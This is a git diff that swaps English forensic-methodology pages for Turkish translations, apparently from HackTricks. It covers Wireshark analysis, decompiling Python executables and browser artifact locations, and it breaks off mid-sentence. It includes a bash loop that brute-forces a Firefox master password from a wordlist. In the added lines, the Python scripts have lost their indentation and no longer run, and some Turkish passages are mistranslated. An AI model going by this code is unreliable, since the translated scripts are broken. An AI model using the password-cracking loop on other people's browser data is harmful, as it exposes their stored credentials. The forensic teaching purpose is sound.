**overview** of what is happening in the packets **analyzed**: +_**Analyze** --> **Expert Information**_ seçeneğine tıkladığınızda, **analiz edilen** paketlerde neler olduğunu gösteren bir **genel bakış** alırsınız: ![](<../../../images/image (256).png>) -**Resolved Addresses** +**Çözülmüş Adresler** -Under _**Statistics --> Resolved Addresses**_ you can find several **information** that was "**resolved**" by wireshark like port/transport to protocol, MAC to the manufacturer, etc. It is interesting to know what is implicated in the communication. +_**Statistics --> Resolved Addresses**_ altında, wireshark tarafından "**çözülen**" çeşitli **bilgiler** bulabilirsiniz; örneğin port/taşıyıcıdan protokole, MAC'tan üreticiye vb. İletişimde nelerin yer aldığını bilmek ilginçtir. ![](<../../../images/image (893).png>) -**Protocol Hierarchy** +**Protokol Hiyerarşisi** -Under _**Statistics --> Protocol Hierarchy**_ you can find the **protocols** **involved** in the communication and data about them. +_**Statistics --> Protocol Hierarchy**_ altında, iletişimde yer alan **protokolleri** ve bunlarla ilgili verileri bulabilirsiniz. ![](<../../../images/image (586).png>) -**Conversations** +**Görüşmeler** -Under _**Statistics --> Conversations**_ you can find a **summary of the conversations** in the communication and data about them. +_**Statistics --> Conversations**_ altında, iletişimdeki **görüşmelerin özeti** ve bunlarla ilgili verileri bulabilirsiniz. ![](<../../../images/image (453).png>) -**Endpoints** +**Uç Noktalar** -Under _**Statistics --> Endpoints**_ you can find a **summary of the endpoints** in the communication and data about each of them. +_**Statistics --> Endpoints**_ altında, iletişimdeki **uç noktaların özeti** ve her biriyle ilgili verileri bulabilirsiniz. ![](<../../../images/image (896).png>) -**DNS info** +**DNS bilgisi** -Under _**Statistics --> DNS**_ you can find statistics about the DNS request captured. +_**Statistics --> DNS**_ altında, yakalanan DNS isteği hakkında istatistikler bulabilirsiniz. ![](<../../../images/image (1063).png>) -**I/O Graph** +**G/Ç Grafiği** -Under _**Statistics --> I/O Graph**_ you can find a **graph of the communication.** +_**Statistics --> I/O Graph**_ altında, iletişimin **grafiğini** bulabilirsiniz. ![](<../../../images/image (992).png>) -### Filters +### Filtreler -Here you can find wireshark filter depending on the protocol: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\ -Other interesting filters: +Burada protokole bağlı wireshark filtrelerini bulabilirsiniz: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\ +Diğer ilginç filtreler: - `(http.request or ssl.handshake.type == 1) and !(udp.port eq 1900)` - - HTTP and initial HTTPS traffic +- HTTP ve başlangıç HTTPS trafiği - `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002) and !(udp.port eq 1900)` - - HTTP and initial HTTPS traffic + TCP SYN +- HTTP ve başlangıç HTTPS trafiği + TCP SYN - `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002 or dns) and !(udp.port eq 1900)` - - HTTP and initial HTTPS traffic + TCP SYN + DNS requests +- HTTP ve başlangıç HTTPS trafiği + TCP SYN + DNS istekleri -### Search +### Arama -If you want to **search** for **content** inside the **packets** of the sessions press _CTRL+f_. You can add new layers to the main information bar (No., Time, Source, etc.) by pressing the right button and then the edit column. +Eğer oturumların **paketleri** içinde **içerik** aramak istiyorsanız, _CTRL+f_ tuşlarına basın. Ana bilgi çubuğuna (No., Zaman, Kaynak, vb.) yeni katmanlar eklemek için sağ tıklayıp ardından sütunu düzenleyebilirsiniz. -### Free pcap labs +### Ücretsiz pcap laboratuvarları -**Practice with the free challenges of:** [**https://www.malware-traffic-analysis.net/**](https://www.malware-traffic-analysis.net) +**Ücretsiz zorluklarla pratik yapın:** [**https://www.malware-traffic-analysis.net/**](https://www.malware-traffic-analysis.net) -## Identifying Domains +## Alan Adlarını Tanımlama -You can add a column that shows the Host HTTP header: +Host HTTP başlığını gösteren bir sütun ekleyebilirsiniz: ![](<../../../images/image (639).png>) -And a column that add the Server name from an initiating HTTPS connection (**ssl.handshake.type == 1**): +Ve başlatan bir HTTPS bağlantısından sunucu adını ekleyen bir sütun (**ssl.handshake.type == 1**): ![](<../../../images/image (408) (1).png>) -## Identifying local hostnames +## Yerel Alan Adlarını Tanımlama -### From DHCP +### DHCP'den -In current Wireshark instead of `bootp` you need to search for `DHCP` +Güncel Wireshark'ta `bootp` yerine `DHCP` aramanız gerekiyor. ![](<../../../images/image (1013).png>) -### From NBNS +### NBNS'den ![](<../../../images/image (1003).png>) -## Decrypting TLS +## TLS'yi Şifre Çözme -### Decrypting https traffic with server private key +### Sunucu özel anahtarı ile https trafiğini şifre çözme _edit>preference>protocol>ssl>_ ![](<../../../images/image (1103).png>) -Press _Edit_ and add all the data of the server and the private key (_IP, Port, Protocol, Key file and password_) +Sunucu ve özel anahtarın tüm verilerini (_IP, Port, Protokol, Anahtar dosyası ve şifre_) eklemek için _Edit_ seçeneğine basın. -### Decrypting https traffic with symmetric session keys +### Simetrik oturum anahtarları ile https trafiğini şifre çözme -Both Firefox and Chrome have the capability to log TLS session keys, which can be used with Wireshark to decrypt TLS traffic. This allows for in-depth analysis of secure communications. More details on how to perform this decryption can be found in a guide at [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/). +Hem Firefox hem de Chrome, TLS oturum anahtarlarını kaydetme yeteneğine sahiptir; bu anahtarlar Wireshark ile TLS trafiğini şifre çözmek için kullanılabilir. Bu, güvenli iletişimlerin derinlemesine analizine olanak tanır. Bu şifre çözme işlemini nasıl gerçekleştireceğinizle ilgili daha fazla ayrıntı [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/) rehberinde bulunabilir. -To detect this search inside the environment for to variable `SSLKEYLOGFILE` +Bunu tespit etmek için ortamda `SSLKEYLOGFILE` değişkenini arayın. -A file of shared keys will look like this: +Paylaşılan anahtarların bir dosyası şöyle görünecektir: ![](<../../../images/image (820).png>) -To import this in wireshark go to \_edit > preference > protocol > ssl > and import it in (Pre)-Master-Secret log filename: +Bunu wireshark'a aktarmak için _edit > preference > protocol > ssl > ve (Pre)-Master-Secret log filename_ kısmına aktarın: ![](<../../../images/image (989).png>) -## ADB communication - -Extract an APK from an ADB communication where the APK was sent: +## ADB iletişimi +APK'nın gönderildiği bir ADB iletişiminden bir APK çıkarın: ```python from scapy.all import * pcap = rdpcap("final2.pcapng") def rm_data(data): - splitted = data.split(b"DATA") - if len(splitted) == 1: - return data - else: - return splitted[0]+splitted[1][4:] +splitted = data.split(b"DATA") +if len(splitted) == 1: +return data +else: +return splitted[0]+splitted[1][4:] all_bytes = b"" for pkt in pcap: - if Raw in pkt: - a = pkt[Raw] - if b"WRTE" == bytes(a)[:4]: - all_bytes += rm_data(bytes(a)[24:]) - else: - all_bytes += rm_data(bytes(a)) +if Raw in pkt: +a = pkt[Raw] +if b"WRTE" == bytes(a)[:4]: +all_bytes += rm_data(bytes(a)[24:]) +else: +all_bytes += rm_data(bytes(a)) print(all_bytes) f = open('all_bytes.data', 'w+b') f.write(all_bytes) f.close() ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md index ec397e99a..e8f63dbb1 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md @@ -1,77 +1,61 @@ -# Decompile compiled python binaries (exe, elf) - Retreive from .pyc +# Derlenmiş python ikili dosyalarını decompile et (exe, elf) - .pyc'den al {{#include ../../../banners/hacktricks-training.md}} -
-**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} - -## From Compiled Binary to .pyc - -From an **ELF** compiled binary you can **get the .pyc** with: +## Derlenmiş İkili Dosyadan .pyc'ye +Bir **ELF** derlenmiş ikili dosyasından **.pyc'yi** alabilirsiniz: ```bash pyi-archive_viewer # The list of python modules will be given here: [(0, 230, 311, 1, 'm', 'struct'), - (230, 1061, 1792, 1, 'm', 'pyimod01_os_path'), - (1291, 4071, 8907, 1, 'm', 'pyimod02_archive'), - (5362, 5609, 13152, 1, 'm', 'pyimod03_importers'), - (10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'), - (12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'), - (13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'), - (13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'), - (15090, 445, 672, 1, 's', 'pyi_rth_inspect'), - (15535, 2514, 4421, 1, 's', 'binary_name'), +(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'), +(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'), +(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'), +(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'), +(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'), +(13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'), +(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'), +(15090, 445, 672, 1, 's', 'pyi_rth_inspect'), +(15535, 2514, 4421, 1, 's', 'binary_name'), ... ? X binary_name to filename? /tmp/binary.pyc ``` - -In a **python exe binary** compiled you can **get the .pyc** by running: - +Bir **python exe ikili** dosyasında **.pyc** almak için şunu çalıştırabilirsiniz: ```bash python pyinstxtractor.py executable.exe ``` +## .pyc'den python koduna -## From .pyc to python code - -For the **.pyc** data ("compiled" python) you should start trying to **extract** the **original** **python** **code**: - +**.pyc** verisi ("derlenmiş" python) için **orijinal** **python** **kodunu** **çıkarma** denemeye başlamalısınız: ```bash uncompyle6 binary.pyc > decompiled.py ``` +**Kesin olun** ki, ikili dosyanın **uzantısı** "**.pyc**"dir (değilse, uncompyle6 çalışmayacaktır) -**Be sure** that the binary has the **extension** "**.pyc**" (if not, uncompyle6 is not going to work) - -While executing **uncompyle6** you might find the **following errors**: - -### Error: Unknown magic number 227 +**uncompyle6** çalıştırırken **aşağıdaki hatalarla** karşılaşabilirsiniz: +### Hata: Bilinmeyen sihirli sayı 227 ```bash /kali/.local/bin/uncompyle6 /tmp/binary.pyc Unknown magic number 227 in /tmp/binary.pyc ``` +Bunu düzeltmek için **oluşturulan dosyanın başına doğru sihirli numarayı eklemeniz** gerekiyor. -To fix this you need to **add the correct magic number** at the beginning of the generated file. - -**Magic numbers vary with the python version**, to get the magic number of **python 3.8** you will need to **open a python 3.8** terminal and execute: - +**Sihirli numaralar python sürümüne göre değişir**, **python 3.8**'in sihirli numarasını almak için **bir python 3.8** terminali açmanız ve şunu çalıştırmanız gerekecek: ``` >> import imp >> imp.get_magic().hex() '550d0d0a' ``` +Bu durumda python3.8 için **magic number** **`0x550d0d0a`**'dır, ardından bu hatayı düzeltmek için **.pyc dosyasının** **başına** şu baytları **eklemeniz** gerekecek: `0x0d550a0d000000000000000000000000` -The **magic number** in this case for python3.8 is **`0x550d0d0a`**, then, to fix this error you will need to **add** at the **beginning** of the **.pyc file** the following bytes: `0x0d550a0d000000000000000000000000` - -**Once** you have **added** that magic header, the **error should be fixed.** - -This is how a correctly added **.pyc python3.8 magic header** will look like: +**Oluşturduğunuzda** o magic başlığı **eklenmiş** olmalıdır, **hata düzeltilmiş olmalıdır.** +Doğru bir şekilde eklenmiş **.pyc python3.8 magic header** şu şekilde görünecektir: ```bash hexdump 'binary.pyc' | head 0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000 @@ -79,25 +63,23 @@ hexdump 'binary.pyc' | head 0000020 0700 0000 4000 0000 7300 0132 0000 0064 0000030 0164 006c 005a 0064 0164 016c 015a 0064 ``` +### Hata: Genel Hataları Decompile Etme -### Error: Decompiling generic errors +**Diğer hatalar** şunlar gibi: `class 'AssertionError'>; co_code bir türlerden biri olmalıdır (, , , ); tür ` görünebilir. -**Other errors** like: `class 'AssertionError'>; co_code should be one of the types (, , , ); is type ` may appear. +Bu muhtemelen **büyülü numarayı doğru eklemediğiniz** veya **doğru büyülü numarayı kullanmadığınız** anlamına gelir, bu yüzden **doğru olanı kullandığınızdan emin olun** (veya yeni bir tane deneyin). -This probably means that you **haven't added correctly** the magic number or that you haven't **used** the **correct magic number**, so make **sure you use the correct one** (or try a new one). +Önceki hata belgelerini kontrol edin. -Check the previous error documentation. +## Otomatik Araç -## Automatic Tool +[**python-exe-unpacker aracı**](https://github.com/countercept/python-exe-unpacker), Python ile yazılmış yürütülebilir dosyaları, özellikle py2exe ve pyinstaller ile oluşturulanları açmak ve decompile etmek için araştırmacılara yardımcı olmak amacıyla tasarlanmış birkaç topluluk tarafından sunulan aracın bir kombinasyonu olarak hizmet eder. Python tabanlı bir yürütülebilir dosyanın tanımlanması için YARA kuralları içerir ve oluşturma aracını doğrular. -The [**python-exe-unpacker tool**](https://github.com/countercept/python-exe-unpacker) serves as a combination of several community-available tools designed to assist researchers in unpacking and decompiling executables written in Python, specifically those created with py2exe and pyinstaller. It includes YARA rules to identify if an executable is Python-based and confirms the creation tool. +### ImportError: Dosya adı: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' mevcut değil -### ImportError: File name: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' doesn't exist - -A common issue encountered involves an incomplete Python bytecode file resulting from the **unpacking process with unpy2exe or pyinstxtractor**, which then **fails to be recognized by uncompyle6 due to a missing Python bytecode version number**. To address this, a prepend option has been added, which appends the necessary Python bytecode version number, facilitating the decompiling process. - -Example of the issue: +Karşılaşılan yaygın bir sorun, **unpy2exe veya pyinstxtractor ile açma işlemi sonucunda** oluşan eksik bir Python bytecode dosyasıdır; bu dosya daha sonra **eksik bir Python bytecode sürüm numarası nedeniyle uncompyle6 tarafından tanınmamaktadır**. Bunu çözmek için, gerekli Python bytecode sürüm numarasını ekleyen bir prepend seçeneği eklenmiştir, bu da decompile etme sürecini kolaylaştırır. +Sorunun örneği: ```python # Error when attempting to decompile without the prepend option test@test: uncompyle6 unpacked/malware_3.exe/archive.py @@ -115,11 +97,9 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive # Successfully decompiled file [+] Successfully decompiled. ``` +## Python montajını analiz etme -## Analyzing python assembly - -If you weren't able to extract the python "original" code following the previous steps, then you can try to **extract** the **assembly** (but i**t isn't very descriptive**, so **try** to extract **again** the original code).In [here](https://bits.theorem.co/protecting-a-python-codebase/) I found a very simple code to **disassemble** the _.pyc_ binary (good luck understanding the code flow). If the _.pyc_ is from python2, use python2: - +Eğer önceki adımları takip ederek python "orijinal" kodunu çıkaramadıysanız, o zaman **montajı** **çıkarma**yı deneyebilirsiniz (ama **çok açıklayıcı değil**, bu yüzden **orijinal kodu** **tekrar** çıkarmayı deneyin). [Burada](https://bits.theorem.co/protecting-a-python-codebase/) _.pyc_ ikili dosyasını **dağıtmak** için çok basit bir kod buldum (kod akışını anlamakta iyi şanslar). Eğer _.pyc_ python2'den ise, python2 kullanın: ```bash >>> import dis >>> import marshal @@ -145,34 +125,32 @@ True >>> >>> # Disassemble the code object >>> dis.disassemble(code) - 1 0 LOAD_CONST 0 () - 3 MAKE_FUNCTION 0 - 6 STORE_NAME 0 (hello_world) - 9 LOAD_CONST 1 (None) - 12 RETURN_VALUE +1 0 LOAD_CONST 0 () +3 MAKE_FUNCTION 0 +6 STORE_NAME 0 (hello_world) +9 LOAD_CONST 1 (None) +12 RETURN_VALUE >>> >>> # Also disassemble that const being loaded (our function) >>> dis.disassemble(code.co_consts[0]) - 2 0 LOAD_CONST 1 ('Hello {0}') - 3 LOAD_ATTR 0 (format) - 6 LOAD_FAST 0 (name) - 9 CALL_FUNCTION 1 - 12 PRINT_ITEM - 13 PRINT_NEWLINE - 14 LOAD_CONST 0 (None) - 17 RETURN_VALUE +2 0 LOAD_CONST 1 ('Hello {0}') +3 LOAD_ATTR 0 (format) +6 LOAD_FAST 0 (name) +9 CALL_FUNCTION 1 +12 PRINT_ITEM +13 PRINT_NEWLINE +14 LOAD_CONST 0 (None) +17 RETURN_VALUE ``` +## Python'ı Çalıştırılabilir Hale Getirme -## Python to Executable +Başlamak için, payload'ların py2exe ve PyInstaller ile nasıl derleneceğini göstereceğiz. -To start, we’re going to show you how payloads can be compiled in py2exe and PyInstaller. - -### To create a payload using py2exe: - -1. Install the py2exe package from [http://www.py2exe.org/](http://www.py2exe.org) -2. For the payload (in this case, we will name it hello.py), use a script like the one in Figure 1. The option “bundle_files” with the value of 1 will bundle everything including the Python interpreter into one exe. -3. Once the script is ready, we will issue the command “python setup.py py2exe”. This will create the executable, just like in Figure 2. +### py2exe kullanarak bir payload oluşturmak için: +1. [http://www.py2exe.org/](http://www.py2exe.org) adresinden py2exe paketini yükleyin. +2. Payload için (bu durumda, hello.py adını vereceğiz), Şekil 1'deki gibi bir script kullanın. “bundle_files” seçeneği 1 değeri ile, Python yorumlayıcısı da dahil olmak üzere her şeyi tek bir exe dosyasında birleştirecektir. +3. Script hazır olduğunda, “python setup.py py2exe” komutunu vereceğiz. Bu, Şekil 2'deki gibi çalıştırılabilir dosyayı oluşturacaktır. ```python from distutils.core import setup import py2exe, sys, os @@ -180,10 +158,10 @@ import py2exe, sys, os sys.argv.append('py2exe') setup( - options = {'py2exe': {'bundle_files': 1}}, - #windows = [{'script': "hello.py"}], - console = [{'script': "hello.py"}], - zipfile = None, +options = {'py2exe': {'bundle_files': 1}}, +#windows = [{'script': "hello.py"}], +console = [{'script': "hello.py"}], +zipfile = None, ) ``` @@ -200,12 +178,10 @@ running py2exe copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe ``` +### PyInstaller kullanarak bir payload oluşturmak için: -### To create a payload using PyInstaller: - -1. Install PyInstaller using pip (pip install pyinstaller). -2. After that, we will issue the command “pyinstaller –onefile hello.py” (a reminder that ‘hello.py’ is our payload). This will bundle everything into one executable. - +1. PyInstaller'ı pip ile kurun (pip install pyinstaller). +2. Daha sonra “pyinstaller –onefile hello.py” komutunu vereceğiz (hatırlatma olarak ‘hello.py’ payload'ımızdır). Bu, her şeyi tek bir çalıştırılabilir dosya haline getirecektir. ``` C:\Users\test\Desktop\test>pyinstaller --onefile hello.py 108 INFO: PyInstaller: 3.3.1 @@ -218,15 +194,9 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py 5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe 6325 INFO: Building EXE from out00-EXE.toc completed successfully. ``` - -## References +## Referanslar - [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/) -
- -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md index 76fa3ef23..d2e08340f 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md @@ -1,6 +1,6 @@ {{#include ../../../banners/hacktricks-training.md}} -Here you can find interesting tricks for specific file-types and/or software: +Burada belirli dosya türleri ve/veya yazılımlar için ilginç hileler bulabilirsiniz: {{#ref}} .pyc.md diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md index 104a7530f..7df6850fd 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md @@ -1,166 +1,156 @@ -# Browser Artifacts +# Tarayıcı Artifaktları {{#include ../../../banners/hacktricks-training.md}} -
+## Tarayıcı Artifaktları -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Tarayıcı artifaktları, web tarayıcıları tarafından saklanan çeşitli veri türlerini içerir; bunlar arasında gezinme geçmişi, yer imleri ve önbellek verileri bulunur. Bu artifaktlar, işletim sistemi içinde belirli klasörlerde saklanır, konum ve isim açısından tarayıcılar arasında farklılık gösterir, ancak genellikle benzer veri türlerini depolar. -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %} +En yaygın tarayıcı artifaktlarının bir özeti: -## Browsers Artifacts - -Browser artifacts include various types of data stored by web browsers, such as navigation history, bookmarks, and cache data. These artifacts are kept in specific folders within the operating system, differing in location and name across browsers, yet generally storing similar data types. - -Here's a summary of the most common browser artifacts: - -- **Navigation History**: Tracks user visits to websites, useful for identifying visits to malicious sites. -- **Autocomplete Data**: Suggestions based on frequent searches, offering insights when combined with navigation history. -- **Bookmarks**: Sites saved by the user for quick access. -- **Extensions and Add-ons**: Browser extensions or add-ons installed by the user. -- **Cache**: Stores web content (e.g., images, JavaScript files) to improve website loading times, valuable for forensic analysis. -- **Logins**: Stored login credentials. -- **Favicons**: Icons associated with websites, appearing in tabs and bookmarks, useful for additional information on user visits. -- **Browser Sessions**: Data related to open browser sessions. -- **Downloads**: Records of files downloaded through the browser. -- **Form Data**: Information entered in web forms, saved for future autofill suggestions. -- **Thumbnails**: Preview images of websites. -- **Custom Dictionary.txt**: Words added by the user to the browser's dictionary. +- **Geçmiş**: Kullanıcıların web sitelerine yaptığı ziyaretleri takip eder, kötü niyetli sitelere yapılan ziyaretleri belirlemek için faydalıdır. +- **Otomatik Tamamlama Verileri**: Sık yapılan aramalara dayalı öneriler, gezinme geçmişi ile birleştirildiğinde içgörüler sunar. +- **Yer İmleri**: Kullanıcı tarafından hızlı erişim için kaydedilen siteler. +- **Eklentiler ve Ekstralar**: Kullanıcı tarafından yüklenen tarayıcı eklentileri veya ekstraları. +- **Önbellek**: Web içeriğini (örneğin, resimler, JavaScript dosyaları) saklar, web sitesi yükleme sürelerini iyileştirir, adli analiz için değerlidir. +- **Girişler**: Saklanan giriş kimlik bilgileri. +- **Favikonlar**: Web siteleriyle ilişkili simgeler, sekmelerde ve yer imlerinde görünür, kullanıcı ziyaretleri hakkında ek bilgi sağlar. +- **Tarayıcı Oturumları**: Açık tarayıcı oturumlarıyla ilgili veriler. +- **İndirmeler**: Tarayıcı üzerinden indirilen dosyaların kayıtları. +- **Form Verileri**: Web formlarına girilen bilgiler, gelecekteki otomatik doldurma önerileri için saklanır. +- **Küçük Resimler**: Web sitelerinin önizleme resimleri. +- **Custom Dictionary.txt**: Kullanıcı tarafından tarayıcının sözlüğüne eklenen kelimeler. ## Firefox -Firefox organizes user data within profiles, stored in specific locations based on the operating system: +Firefox, kullanıcı verilerini profiller içinde düzenler, bu profiller işletim sistemine bağlı olarak belirli konumlarda saklanır: - **Linux**: `~/.mozilla/firefox/` - **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/` - **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` -A `profiles.ini` file within these directories lists the user profiles. Each profile's data is stored in a folder named in the `Path` variable within `profiles.ini`, located in the same directory as `profiles.ini` itself. If a profile's folder is missing, it may have been deleted. +Bu dizinlerdeki `profiles.ini` dosyası, kullanıcı profillerini listeler. Her profilin verileri, `profiles.ini` içindeki `Path` değişkeninde belirtilen bir klasörde saklanır ve bu klasör `profiles.ini` ile aynı dizindedir. Eğer bir profilin klasörü eksikse, silinmiş olabilir. -Within each profile folder, you can find several important files: +Her profil klasöründe, birkaç önemli dosya bulabilirsiniz: -- **places.sqlite**: Stores history, bookmarks, and downloads. Tools like [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) on Windows can access the history data. - - Use specific SQL queries to extract history and downloads information. -- **bookmarkbackups**: Contains backups of bookmarks. -- **formhistory.sqlite**: Stores web form data. -- **handlers.json**: Manages protocol handlers. -- **persdict.dat**: Custom dictionary words. -- **addons.json** and **extensions.sqlite**: Information on installed add-ons and extensions. -- **cookies.sqlite**: Cookie storage, with [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) available for inspection on Windows. -- **cache2/entries** or **startupCache**: Cache data, accessible through tools like [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html). -- **favicons.sqlite**: Stores favicons. -- **prefs.js**: User settings and preferences. -- **downloads.sqlite**: Older downloads database, now integrated into places.sqlite. -- **thumbnails**: Website thumbnails. -- **logins.json**: Encrypted login information. -- **key4.db** or **key3.db**: Stores encryption keys for securing sensitive information. +- **places.sqlite**: Geçmiş, yer imleri ve indirmeleri saklar. Windows'ta [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) gibi araçlar geçmiş verilerine erişebilir. +- Geçmiş ve indirme bilgilerini çıkarmak için belirli SQL sorguları kullanın. +- **bookmarkbackups**: Yer imlerinin yedeklerini içerir. +- **formhistory.sqlite**: Web form verilerini saklar. +- **handlers.json**: Protokol yöneticilerini yönetir. +- **persdict.dat**: Özel sözlük kelimeleri. +- **addons.json** ve **extensions.sqlite**: Yüklenen eklentiler ve uzantılar hakkında bilgi. +- **cookies.sqlite**: Çerez depolama, Windows'ta inceleme için [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) mevcuttur. +- **cache2/entries** veya **startupCache**: Önbellek verileri, [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html) gibi araçlar aracılığıyla erişilebilir. +- **favicons.sqlite**: Favikonları saklar. +- **prefs.js**: Kullanıcı ayarları ve tercihleri. +- **downloads.sqlite**: Eski indirme veritabanı, artık places.sqlite içine entegre edilmiştir. +- **thumbnails**: Web sitesi küçük resimleri. +- **logins.json**: Şifrelenmiş giriş bilgileri. +- **key4.db** veya **key3.db**: Hassas bilgileri güvence altına almak için şifreleme anahtarlarını saklar. -Additionally, checking the browser’s anti-phishing settings can be done by searching for `browser.safebrowsing` entries in `prefs.js`, indicating whether safe browsing features are enabled or disabled. - -To try to decrypt the master password, you can use [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\ -With the following script and call you can specify a password file to brute force: +Ayrıca, tarayıcının anti-fishing ayarlarını kontrol etmek için `prefs.js` içinde `browser.safebrowsing` girdilerini arayarak güvenli tarama özelliklerinin etkin veya devre dışı olup olmadığını belirleyebilirsiniz. +Ana şifreyi çözmeye çalışmak için [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt) kullanabilirsiniz.\ +Aşağıdaki script ve çağrı ile bir şifre dosyasını brute force yapmak için belirtebilirsiniz: ```bash:brute.sh #!/bin/bash #./brute.sh top-passwords.txt 2>/dev/null | grep -A2 -B2 "chrome:" passfile=$1 while read pass; do - echo "Trying $pass" - echo "$pass" | python firefox_decrypt.py +echo "Trying $pass" +echo "$pass" | python firefox_decrypt.py done < $passfile ``` - ![](<../../../images/image (692).png>) ## Google Chrome -Google Chrome stores user profiles in specific locations based on the operating system: +Google Chrome, kullanıcı profillerini işletim sistemine bağlı olarak belirli konumlarda saklar: - **Linux**: `~/.config/google-chrome/` - **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\` - **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/` -Within these directories, most user data can be found in the **Default/** or **ChromeDefaultData/** folders. The following files hold significant data: +Bu dizinler içinde, çoğu kullanıcı verisi **Default/** veya **ChromeDefaultData/** klasörlerinde bulunabilir. Aşağıdaki dosyalar önemli veriler içerir: -- **History**: Contains URLs, downloads, and search keywords. On Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) can be used to read the history. The "Transition Type" column has various meanings, including user clicks on links, typed URLs, form submissions, and page reloads. -- **Cookies**: Stores cookies. For inspection, [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) is available. -- **Cache**: Holds cached data. To inspect, Windows users can utilize [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html). -- **Bookmarks**: User bookmarks. -- **Web Data**: Contains form history. -- **Favicons**: Stores website favicons. -- **Login Data**: Includes login credentials like usernames and passwords. -- **Current Session**/**Current Tabs**: Data about the current browsing session and open tabs. -- **Last Session**/**Last Tabs**: Information about the sites active during the last session before Chrome was closed. -- **Extensions**: Directories for browser extensions and addons. -- **Thumbnails**: Stores website thumbnails. -- **Preferences**: A file rich in information, including settings for plugins, extensions, pop-ups, notifications, and more. -- **Browser’s built-in anti-phishing**: To check if anti-phishing and malware protection are enabled, run `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Look for `{"enabled: true,"}` in the output. +- **History**: URL'ler, indirmeler ve arama anahtar kelimelerini içerir. Windows'ta, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) kullanılarak geçmiş okunabilir. "Transition Type" sütunu, kullanıcıların bağlantılara tıklamaları, yazılan URL'ler, form gönderimleri ve sayfa yenilemeleri gibi çeşitli anlamlar taşır. +- **Cookies**: Çerezleri saklar. İnceleme için [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) mevcuttur. +- **Cache**: Önbelleğe 